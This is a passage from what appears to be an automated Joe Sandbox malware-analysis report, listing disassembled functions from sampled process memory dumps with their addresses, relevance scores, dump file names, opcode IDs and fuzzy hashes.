                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: abe0f173f62a4d74a932e9b568684ee2bb613b5548e9fffff1fd8b378f0bd0cf
                  • Instruction ID: 79219f809410a01c662c92fec630e946ad74a6d99d4764c9ad564193c129c0b9
                  • Opcode Fuzzy Hash: abe0f173f62a4d74a932e9b568684ee2bb613b5548e9fffff1fd8b378f0bd0cf
                  • Instruction Fuzzy Hash: 64B0922AF0E49655E2B82775207217921444FAA380B810B78B61FC25C6CE0CA8403191
                  Function 00007FFD348E07CC Relevance: .0, Instructions: 8COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 97b5b4b87c2dba977795931ca0690acf225cd92460997749b6571d8fab43f2d0
                  • Instruction ID: 93fea8545e5972bbccfd0d0386a0781c6c35292ee1edf9ccb64a467495a8c7f2
                  • Opcode Fuzzy Hash: 97b5b4b87c2dba977795931ca0690acf225cd92460997749b6571d8fab43f2d0
                  • Instruction Fuzzy Hash: 12C04C70708416DFE694DB18C594A2A36A0EF07300B6505B4E109DB5B1DA29EC41AB00
                  Function 00007FFD348D5D7D Relevance: .0, Instructions: 7COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e69b595386e3a8c04d15c868405ac12940620040f498db685dc78f15b03e6da4
                  • Instruction ID: 1a98302586c7158d95fad4b8a016866d6b29498520a4aff5b41ac573c54ea242
                  • Opcode Fuzzy Hash: e69b595386e3a8c04d15c868405ac12940620040f498db685dc78f15b03e6da4
                  • Instruction Fuzzy Hash: 89B00908E9F90B91E8B4239508FA1B850406F5BB21FA48772D65FC5582EC4E2595B1A6
                  Function 00007FFD348CD261 Relevance: .0, Instructions: 7COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 62793d9f2f6900eb230ed5acbe82737431bb88c5e47cc67f13403bbfa09ee2da
                  • Instruction ID: f5d9449c43968050f316ac1e14de2ca10df902a3d4f1e8b724b9a4013edc20cf
                  • Opcode Fuzzy Hash: 62793d9f2f6900eb230ed5acbe82737431bb88c5e47cc67f13403bbfa09ee2da
                  • Instruction Fuzzy Hash: E4B01221B2D96283E12C37B8957D47CB2E4BB06B0AF0411BBF40AE36C29E5C3E0014C5
                  Function 00007FFD348D5B2A Relevance: .0, Instructions: 6COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: de1a4ca9f828103a008867344ace4a421535a6a7f478ec9ba1c876827d0d37b9
                  • Instruction ID: c048bf0ea7cc86392f62f5bbfe541b8e51d86491a60eff5e0c36c2aba9f895c7
                  • Opcode Fuzzy Hash: de1a4ca9f828103a008867344ace4a421535a6a7f478ec9ba1c876827d0d37b9
                  • Instruction Fuzzy Hash: 76B01230B0B1058AD39A273840A003810813F4F201720593D810FC62D9CC3D94066500
                  Function 00007FFD348CCD41 Relevance: .0, Instructions: 6COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0e730ab2157b4d797773b2b4e7b4029a1790f1020a7bfd4f29e6fe6074300d5b
                  • Instruction ID: d6968b4d0f836ab03a2dadf5abcb04bb79fb1ba4ca53b4e6a93df9673a6b0a7d
                  • Opcode Fuzzy Hash: 0e730ab2157b4d797773b2b4e7b4029a1790f1020a7bfd4f29e6fe6074300d5b
                  • Instruction Fuzzy Hash: DCB01200F0C20383F12003B406F007C80814B07600B100973F70BD51C3DC8C3C0131A0
                  Function 00007FFD348DBCF6 Relevance: .0, Instructions: 5COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 7cf04dc93541d1c8c7bbd95b1aa3373663bf4b9a38a76b89e22d52d71cdf75f1
                  • Instruction ID: d2f8a22bfb1a04ae2ae4c642a9ef10d9f143f447188ec1230c91a56f36ec03eb
                  • Opcode Fuzzy Hash: 7cf04dc93541d1c8c7bbd95b1aa3373663bf4b9a38a76b89e22d52d71cdf75f1
                  • Instruction Fuzzy Hash: 3FA00100F0F28BA7A62402AE48F443C04810B4B245A644B39971BCA5C2EC9C28403161
                  Function 00007FFD348D3948 Relevance: .0, Instructions: 5COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c6e051e43327af2f19828ff139a3af66ad40943c13ae41243b72b0cc0171ca18
                  • Instruction ID: 33669ff329538a7dd8e21ecb578fe909ddd13cf56bceac79d4bfba5b99cc8e33
                  • Opcode Fuzzy Hash: c6e051e43327af2f19828ff139a3af66ad40943c13ae41243b72b0cc0171ca18
                  • Instruction Fuzzy Hash: BCA00221F0F92243F56A362410BA07C82856F66755B15077AE90ED71E3DD0D2D81708B
                  Function 00007FFD348D3018 Relevance: .0, Instructions: 5COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a66ce11300a209185814d18802c03dda350c3132ea8972a6e06dc425cac848fa
                  • Instruction ID: 787411f56bf5af2642a5d484ef5f889f8c47002095ee5f60358ce6c6c00399d8
                  • Opcode Fuzzy Hash: a66ce11300a209185814d18802c03dda350c3132ea8972a6e06dc425cac848fa
                  • Instruction Fuzzy Hash: 1EA01200A0B0925552B41319106103400444B9B2807400774A70FC10C18D0C5C412051
                  Function 00007FFD348D309D Relevance: .0, Instructions: 4COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: aed391b8d7545b43063bd6ffda1c1785d6845ebaf5e22e5675a04d2c4387c931
                  • Instruction ID: c1b73ca1177c408b4f75544a725827c39d6283914a89310f19b1a1d2e696f8dd
                  • Opcode Fuzzy Hash: aed391b8d7545b43063bd6ffda1c1785d6845ebaf5e22e5675a04d2c4387c931
                  • Instruction Fuzzy Hash: 74A0022BF0E10A40F53C267000721BE51401F063019514B3A966F804C64D6DA0403501
                  Function 00007FFD348D9B78 Relevance: .0, Instructions: 2COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348D3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348D3000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348d3000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a7c033a03a7f355ecdc2526f85958925a3faaf0ea48a3dbb07d3b6bfceeb2b05
                  • Instruction ID: f50fbb4f9c7ef5a93c2a1d3f84f215f7bfacd18f07a35ff8888e3454327bbcf0
                  • Opcode Fuzzy Hash: a7c033a03a7f355ecdc2526f85958925a3faaf0ea48a3dbb07d3b6bfceeb2b05
                  • Instruction Fuzzy Hash: 12900260A0A51595EB114B408C547AD65706B16305E110225C107700888B7C10466D55

                  Non-executed Functions

                  Function 00007FFD348BFD7B Relevance: 6.3, Strings: 5, Instructions: 73COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348BF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348BF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348bf000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: >$R$X$f$k
                  • API String ID: 0-357600891
                  • Opcode ID: 75f7c3f3e1fe3044f939c3de086c466625e0c4b4958952eaf2c4fa6c36940dda
                  • Instruction ID: 824f30f7541295216e40786462bead04b3c9cfdcd37837262876d0c8f484b63b
                  • Opcode Fuzzy Hash: 75f7c3f3e1fe3044f939c3de086c466625e0c4b4958952eaf2c4fa6c36940dda
                  • Instruction Fuzzy Hash: 4631D870E086298FDBA8DF14C8A47E9B7B5EF55305F1081B9D14EA2291CFB85AC4DF84
                  Function 00007FFD348C1720 Relevance: 5.1, Strings: 4, Instructions: 63COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348C1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348c1000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: "$*$-$/
                  • API String ID: 0-2550052459
                  • Opcode ID: 0d244b870dde10de424385efa947498e0536cadec148cd05ea480b9692f62211
                  • Instruction ID: d76e0f8145b5076512ca419e3b5665f09e56c1f86ff687c7c5cf7c69dfad7491
                  • Opcode Fuzzy Hash: 0d244b870dde10de424385efa947498e0536cadec148cd05ea480b9692f62211
                  • Instruction Fuzzy Hash: 5221D474E042298FEB68DF54C9E47B8B6B1BF15311F0045AAD10EE6291DB385A84EF50
                  Function 00007FFD348BF8D6 Relevance: 5.1, Strings: 4, Instructions: 57COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348BF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348BF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348bf000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: &$)$L$k
                  • API String ID: 0-481676342
                  • Opcode ID: bdb95977de99ca37dc9ffb3921704b236522bcd61d7fb0c9cc95a5ce7e2a6917
                  • Instruction ID: 581731d4d59ab85ebf63d6b4817b39b4fefe4be33f923d54375ed2aa237f068f
                  • Opcode Fuzzy Hash: bdb95977de99ca37dc9ffb3921704b236522bcd61d7fb0c9cc95a5ce7e2a6917
                  • Instruction Fuzzy Hash: A8210770E056298FEBA8DF94C8A87A9B3B1AF15305F1041FAD10DE6291CB786AC4DF41
                  Function 00007FFD348BFE86 Relevance: 5.1, Strings: 4, Instructions: 53COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000014.00000002.2262116225.00007FFD348BF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348BF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_20_2_7ffd348bf000_backgroundTaskHost.jbxd
                  Similarity
                  • API ID:
                  • String ID: T$k${$}
                  • API String ID: 0-2424389721
                  • Opcode ID: e888476a6b4d30345afaa22181f95398ada23fa8cce5115ab31fc38d30ec8adb
                  • Instruction ID: e63a3f601a50655b5ac13eeb2048c7ac75d0e2f3c5f707fb13673fa2c0bb72cc
                  • Opcode Fuzzy Hash: e888476a6b4d30345afaa22181f95398ada23fa8cce5115ab31fc38d30ec8adb
                  • Instruction Fuzzy Hash: F521CA70E0862A8EDBA8DF10C8A07F977B5AF55301F1085B9D24DD6290CF785AC4EF84

                  Executed Functions

                  Function 00007FFD348A3695 Relevance: .3, Instructions: 255COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348a0000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 3e1d6e0329db79114ca5b946c4c6083a3186352d5ea10f0789781e6a80ccb96b
                  • Instruction ID: 199814f8973a1aa8d3e8d9cda895f65500444bbc52267865647ae14c3f9f1fc9
                  • Opcode Fuzzy Hash: 3e1d6e0329db79114ca5b946c4c6083a3186352d5ea10f0789781e6a80ccb96b
                  • Instruction Fuzzy Hash: 5A81BF72A0D94E8FEB94DB58C8A57A87BE1FF9A310F4401BAD00DD32D6CBB96805C750
                  Function 00007FFD348B1449 Relevance: 8.9, Strings: 7, Instructions: 159COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348b1000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID: !$"$"$*$-$/$]
                  • API String ID: 0-84170844
                  • Opcode ID: ad882baaa5d6f0622e7d7c8d2e44deb94473279349420379979e2d138fc44b06
                  • Instruction ID: b41baae626758b7ec26bc65e4d1b98c81cda03a0c845a00b0805e215946de400
                  • Opcode Fuzzy Hash: ad882baaa5d6f0622e7d7c8d2e44deb94473279349420379979e2d138fc44b06
                  • Instruction Fuzzy Hash: A771D770E042298EEB68DF55C8A47FDB6B1AF55301F1045A9D14EEB281CBB85A84EF50
                  Function 00007FFD348B1C74 Relevance: 5.1, Strings: 4, Instructions: 76COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348b1000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID: #$)$/$]
                  • API String ID: 0-3416654705
                  • Opcode ID: b0b0c58ce06e32a5dcf2d1ad4b0a46c4c7493f8399f20427588be46a1a883bf8
                  • Instruction ID: e468b5038a25f2418fd36f9a62803f4dee19987def16a015e02f8c59d09d8af2
                  • Opcode Fuzzy Hash: b0b0c58ce06e32a5dcf2d1ad4b0a46c4c7493f8399f20427588be46a1a883bf8
                  • Instruction Fuzzy Hash: 49310870E0821D8FEBA8DF55C8A86ECB7B1AF55301F1041AAD109EB291CB786984DF80
                  Function 00007FFD348AF463 Relevance: 5.1, Strings: 4, Instructions: 61COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348AF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348AF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348af000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID: D$k${$}
                  • API String ID: 0-4150254743
                  • Opcode ID: acf183a3537bdb6299ec7008930a84280e52fd4fc334d6dcaa46e21eef6f68e1
                  • Instruction ID: 3a9209dbf9951e4ca9b043bdcd2cf52d8b65fe6f3a61febd43ef775257d949da
                  • Opcode Fuzzy Hash: acf183a3537bdb6299ec7008930a84280e52fd4fc334d6dcaa46e21eef6f68e1
                  • Instruction Fuzzy Hash: E821D470E0962A8FDBA8DF14C8A07F9B7B1AF55301F1045AAD20D92290CBB86AC5DF54
                  Function 00007FFD348AF770 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348AF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348AF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348af000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID: V$k
                  • API String ID: 0-3170423398
                  • Opcode ID: 308efc8c92f10d3a5312783744b40bb1375c807ad6519919f8d02750cf9cf1b3
                  • Instruction ID: f36884b5c7abfae3f993909987830962260daf76f6e7487e07c53bc221f04240
                  • Opcode Fuzzy Hash: 308efc8c92f10d3a5312783744b40bb1375c807ad6519919f8d02750cf9cf1b3
                  • Instruction Fuzzy Hash: 78414C71A09A198BEBA9DB18CCA5BA9B7B5FF54300F1442EAD10DD3291CE756EC1CF00
                  Function 00007FFD348AF136 Relevance: 2.6, Strings: 2, Instructions: 114COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348AF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348AF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348af000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID: V$k
                  • API String ID: 0-3170423398
                  • Opcode ID: 05a117570730fee32c9440f8f3e7b1463349211eef4a5a2c72f85e0689699e96
                  • Instruction ID: 5a032e22de7c66ae9610dd58ae33cc4b00ddaa00263007369baafb942d080a60
                  • Opcode Fuzzy Hash: 05a117570730fee32c9440f8f3e7b1463349211eef4a5a2c72f85e0689699e96
                  • Instruction Fuzzy Hash: 21414D71A05A1D8BEBA9DB18CCA5BA9B7B5FF58300F1442E9D10DD3291CE356E81CF00
                  Function 00007FFD348AF85A Relevance: 2.6, Strings: 2, Instructions: 57COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348AF000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348AF000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348af000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID: `$k
                  • API String ID: 0-2619231044
                  • Opcode ID: a1530105cddc62c86a20c6cd55f3cb493f80455ec246825ed1f02f25b9d4c74a
                  • Instruction ID: dc9aff226c62cb4b21aa18e1d12ddef95d24b432f6e76b8f808a1177056a80cc
                  • Opcode Fuzzy Hash: a1530105cddc62c86a20c6cd55f3cb493f80455ec246825ed1f02f25b9d4c74a
                  • Instruction Fuzzy Hash: 8C21B570E196298BDBA4DB04C8A4BE9B7B5EF59301F1041E9D20DE2291CB786AC4DF50
                  Function 00007FFD348B56CD Relevance: 1.4, Strings: 1, Instructions: 158COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348B4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B4000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348b4000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID: 8mx4
                  • API String ID: 0-2458275946
                  • Opcode ID: 4cd68eb679f22dd3ced3925c75d9f7f27b000768060d827c480d56a89d2d1672
                  • Instruction ID: 20d78b3b7e7ad10f3215878c24e8b684fbcece82dccfb13d05cc5d81ce4e254f
                  • Opcode Fuzzy Hash: 4cd68eb679f22dd3ced3925c75d9f7f27b000768060d827c480d56a89d2d1672
                  • Instruction Fuzzy Hash: A2513D70E19A0D8FEB94DB68C4A96ADB7F1FF59300F10016AD40DE3291DF78A841CB40
                  Function 00007FFD348A120D Relevance: 1.3, Strings: 1, Instructions: 61COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348a0000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID: Pyy4
                  • API String ID: 0-1847637355
                  • Opcode ID: e2d87de437e344b7af806e6138cc5ebe77e760d4bc3c476fc4392338c160c95f
                  • Instruction ID: 81e2c370347797475cfb51ff2599d24bce35d259d5b2f1c482ac165cb3df40e0
                  • Opcode Fuzzy Hash: e2d87de437e344b7af806e6138cc5ebe77e760d4bc3c476fc4392338c160c95f
                  • Instruction Fuzzy Hash: 9611E230A0E64A4FEB99DB6484E92F97BE0FF5B319F0004BEC51AC60C2DEA8A440D310
                  Function 00007FFD348A1220 Relevance: 1.3, Strings: 1, Instructions: 40COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348a0000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID: Pyy4
                  • API String ID: 0-1847637355
                  • Opcode ID: 98e2c908ac75de5f96784e09905da2bd8e19b1fac85e737d8ca4f02cc48b036b
                  • Instruction ID: 32c9f0ee06d15a478591db55d2043ee5bcb370c937ad1fe26a7e6fc0e3eeaf9e
                  • Opcode Fuzzy Hash: 98e2c908ac75de5f96784e09905da2bd8e19b1fac85e737d8ca4f02cc48b036b
                  • Instruction Fuzzy Hash: F5F0C870A1EA4E4AEBD4DF6894A83FA77E4FF57319F04047ED45DC10C1DEA89554D210
                  Function 00007FFD348A1728 Relevance: .3, Instructions: 281COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348a0000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c60843969139ecad52c18bd12b1845cd30b2d9294cf6fbf82962ed0e7d107095
                  • Instruction ID: b4cc93e60c30d4a7c6c7d15ce11e210b0e95616dc169d9fec2d27d075d6bf323
                  • Opcode Fuzzy Hash: c60843969139ecad52c18bd12b1845cd30b2d9294cf6fbf82962ed0e7d107095
                  • Instruction Fuzzy Hash: 4781C031B0DA894FDB98DF1C88A15AA77E2FFD9304B14457AE55DD7282CE78EC028781
                  Function 00007FFD348A1D2D Relevance: .2, Instructions: 185COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348a0000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f9a463dfbed6e4fd5a442849b659a0739e242c8855392c2e5e2096cc3434e2ba
                  • Instruction ID: e082d7b66b0b3825e52425c22a0c6871c606659e160ed014f5bba420da85cdba
                  • Opcode Fuzzy Hash: f9a463dfbed6e4fd5a442849b659a0739e242c8855392c2e5e2096cc3434e2ba
                  • Instruction Fuzzy Hash: B551D031B1DB894FDB98DF1888A45BA77E2FFD9304B14457ED54AC7282CE78E8028781
                  Function 00007FFD348B2D68 Relevance: .2, Instructions: 184COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348b1000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5b97908e9b7f042f1930c40d67bc3f7e72f9070f0835262f0d84d2e8fad2ec58
                  • Instruction ID: 2807d51caf1731a44d3a61ed1e0d7a5a169d5b839b0bc5cdd94b8916f488d1cf
                  • Opcode Fuzzy Hash: 5b97908e9b7f042f1930c40d67bc3f7e72f9070f0835262f0d84d2e8fad2ec58
                  • Instruction Fuzzy Hash: 4F71D470E055198FEBA4EBA8C8A97EDB7F1FF19304F1041B9D00DE3292DE7869859B50
                  Function 00007FFD348A32C5 Relevance: .2, Instructions: 176COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348a0000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: ea373147bdb1406183f4feed99b8371b29d0b54fe84729face5082bb9a6c9813
                  • Instruction ID: eb7669e2f38d6b5dd07a383b48e2cd76f95aacdb0be4612793348ac2ec70f9f0
                  • Opcode Fuzzy Hash: ea373147bdb1406183f4feed99b8371b29d0b54fe84729face5082bb9a6c9813
                  • Instruction Fuzzy Hash: 79613A70E0A6198FEB94DFA8C4A46EDB7F1FF59300F10007AD509E7292DB786944DB20
                  Function 00007FFD348A1840 Relevance: .2, Instructions: 160COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348A0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348a0000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 58f2e3a2855934abff144d009e4755934f0252dab0a7b025491304017b53bb0a
                  • Instruction ID: 06b50584ed034f5d15a3fb224a026c3d4e0936632924d9dfd4fbe22c02229497
                  • Opcode Fuzzy Hash: 58f2e3a2855934abff144d009e4755934f0252dab0a7b025491304017b53bb0a
                  • Instruction Fuzzy Hash: 1B417F30B18A494FDB9CDF1C88A56BA73E2FBD9305B10453EE55ED3285DE74E8128B81
                  Function 00007FFD348B6578 Relevance: .1, Instructions: 126COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348B4000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B4000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348b4000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: c8b2465aad1e51d6e61fd5eba2edaed14c9cbf9b7d8b84d90cc0bb3d9eab99a0
                  • Instruction ID: 5e2dd5dc402b268de030cef5ec58230e8180c57f9d78f154b735614443203bd9
                  • Opcode Fuzzy Hash: c8b2465aad1e51d6e61fd5eba2edaed14c9cbf9b7d8b84d90cc0bb3d9eab99a0
                  • Instruction Fuzzy Hash: A7411D70E0851A8EEFA4DF54C8A57B9B6B1FF56304F1041BAD10DE2291CFB86984DB42
                  Function 00007FFD348B2B0D Relevance: .1, Instructions: 124COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000017.00000002.2314751741.00007FFD348B1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD348B1000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_23_2_7ffd348b1000_wHkwzSlnBiGJprfYEurbfsdoSvkj.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2098840ce1a7d3a204faa7e9297da65d2d6a65d22295c17ac2841ab01e622321
